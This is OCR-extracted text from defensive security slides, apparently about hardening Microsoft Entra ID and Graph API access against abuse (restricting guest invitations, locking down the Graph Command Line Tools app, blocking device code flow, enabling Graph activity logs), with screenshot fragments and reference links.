4. Under Target domains, enter the name of one of the domains that you want to block. For multiple domains, enter

each domain on a new line. For example:

Collaboration restrictions

A\ Cross-tenant access settings are also evaluated when sending an invitation to determine whether the invite should be allowed or blocked. Learn more

O Allow invitations to be sent to any domain (most inclusive)

Vé‘ Deny invitations to the specified domains

O Allow invitations only to the specified domains (most restrictive)

Target domains

O
D gmail.com
U

yahoo.com

example.com or *.example.com or example




Restrict Microsoft Graph Command Line Tools i ELEL
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Access

[ .
B8 Microsoft
admin@ onmicrosoft.com

Permissions requested

Microsoft Graph Command Line Tools
Microsoft Corporation #
This app would like to:
- Read all users' full profiles
Read and write all groups
Maintain access to data you have given it access to

Consent on behalf of your organization

If you accept, this app will get access to the specified resources for
i ization. Mo one else will be prompted to

Cancel

Lps> Connect-MgGraph -Scopes "User.Read.All","Group.ReadWrite.All"
Welcome to Microsoft Graph!

Connected via delegated access using

Readme: https://aka.ms/graph/sdk/powershell

SDK Docs: https://aka.ms/graph/sdk/powershell/docs
API Docs: https://aka.ms/graph/docs

NOTE: You can use the -NoWelcome parameter to suppress this message.



Restrict Microsoft Graph Command Line Tools
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100

Access

Home » Contoso | Enterprise applications > Enterprise applications | All applications > Microsoft Graph Command Line Tools

| '|I! Microsoft Graph Command Line Tools | Properties

Enterprise Application

& &« E Save X Discard i Delete D? Got feedback? mE
mm Microsoft

B Overview View and manage application settings for your organization. Editing properties like displaysformation, user sign-in

settings, and user visibility settings requires Global Administrator, Cloud Application Administrat B B
Deployment Plan Administrator roles. Learn more, admin@ - onmicrosoft.com
# Diagnose and solve problems Some of the displayed properties that are not editable are managed on the application registration in the applicatio

home tenant.

Permissions requested

~ Manage
It properties Enabled for users to sign-in? © ( ves No ) Microsoft Graph Command Line Tools
' Microsoft Corporation
&b Owners Mame (O | dicrosoft Graph Command Line Tools |
| o admini This app would like to;
as, Roles and administrators Homepage URL @ | https://docs.microsoft.com/en-us/graph/powershell/get-started Iy |
28 Users and groups ~ Read all users' full profiles

Logo @ .
9 Ssingle sign-on ~ Read and write all groups
% Provisioning ~ Maintain access to data you have given it access to
C Self-service Consent on behalf of your organization
) ) Application ID @ I | 14d82eec-204b-4c2f-b7e8-296a70dabe7e |]‘_~| I
Custom security attributes

If you accept, this app will get access to the specified resources for
> Security Object ID @ | 6922d5cf-d579-427c-8660-dee334233173 I} | all users in your organization. Mo one else will be prompted to
review these permissions,

> Adtivity i i Jo ) . .- .
ty Assignment required? () | Yes No_J Accepting these permissions means that you allow this app to use
> Troubleshooting + Support ) P — your data as specified in their terms of service and priver{:y
Visible to users? @ [ Ves No ) staternent. You can change these permissions at https://
- myapps.microsoft.com. Show details
Notes @

Does this app look suspicious? Report it here

Cancel Accept
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Home > Contoso | Enterprise applications > Enterprise applications | All applications » Microsoft Graph Command Line Tools

'|I' Microsoft Graph Command Line Tools | Properties

" Enterprise Application

Overview

=
(-

Deployment Plan

x

Diagnose and solve problems

<

Manage
iI' properties
ad Owners

. Roles and administrators

B

&4 Users and groups
3 single sign-on
2 Provisioning
C self-service
Custom security attributes
> Security
> Activity

> Troubleshooting + Support

Save

View and manage aj
settings, and user vi:
Administrator roles.

Some of the display:
home tenant.

Enabled for users to
MName (&
Homepage URL (O

Logo @

Application ID (D
ObjectID @
Assignment requirec
Visible to users? (@

MNates (@

> Discard

f Delete Q'j Got feedback?

Home > App registrations > For Microsoft Graph

5) For Microsoft Graph | Authentication =

l £ Search

‘<<

= Overview
&4 Quickstart
#" Integration assistant

#< Diagnose and solve problems

Manage
£ Branding & properties
3) Authentication

Certificates & secrets
iI' Token configuration
- APl permissions

& Expose an API

App roles

P\'j Got feedback?

Platform configurations

Depending on the platform or device this application is targeting, additional configuration may be required such as
redirect URIs, specific authentication settings, or fields specific to the platform.

-+ Add a platform

Supported account types

Who can use this application or access this API?

@ Accounts in this organizational directory only s @ = m= ms == . Single tenant)

O Accounts in any organizational directory (Any Microsoft Entra ID tenant - Multitenant)

Help me decide...
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Block Device Code Flow

Home > Conditional Access | Policies >

‘ﬁ‘ Home
Blocking Device Code Flows
f What's new Conditional Access policy
[ Diagnose & solve problems li] Delete 73 View policy information
Target resources (L
All resources (formerly 'All cloud apps' Insider risk ©
Y Favorites N\ ( y Pps) ‘ . .
Insider risk assesses the user's risky data-
o Network New O related activity in Microsoft Purview Insider Risk
Sign-in logs * ] Management.
Not configured
o . Not configured
Monitoring & health > Audit logs ¢
Conditions @
Device platforms O
Provisioning logs * 1 condition selected P
Not configured
Log Analytics *
Access controls Locations @
Diagnostic settings * Not configured
Block access Client apps @
Session Not configured
> Identity N\ 0 controls selected

Filter for devices (O

@ Overview Not configured

R Users N Authentication flows (U
Device code flow

¢ Groups v
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Conclusion

* Enable MicrosoftGraphActivityLogs to capture critical evidence of API
activity.

* Implement analytics rules to detect and respond to Microsoft Graph API
abuse.

e Restrict guest user invitations to limit unauthorized external access.

e Use a registered app instead of Microsoft’s Enterprise App for Graph API
access to maintain better control.

* Block device code flow wherever possible to prevent unauthorized
access.




Useful links N e BB

Black Hills Information Security
e https://www.blackhillsinfosec.com/introducing-graphrunner/
Amsterdam 2024 FIRST Technical Colloquium

* https://www.first.org/resources/papers/amsterdam24/Stoner-Herrald-Google-
2024FIRST-TC-GraphRunner.pdf

Invictus Blogs

* https://www.invictus-ir.com/news/a-defenders-guide-to-graphrunner-part-i
* https://www.invictus-ir.com/news/a-defenders-guide-to-graphrunner-part-ii

John Hammond

e https://youtu.be/Ih4u2LV1Blc
AADInternals

* https://aadinternals.com/post/phishing/

Practical 365
* https://practical365.com/secure-internet-access-microsoft-graph-powershell-sdk/
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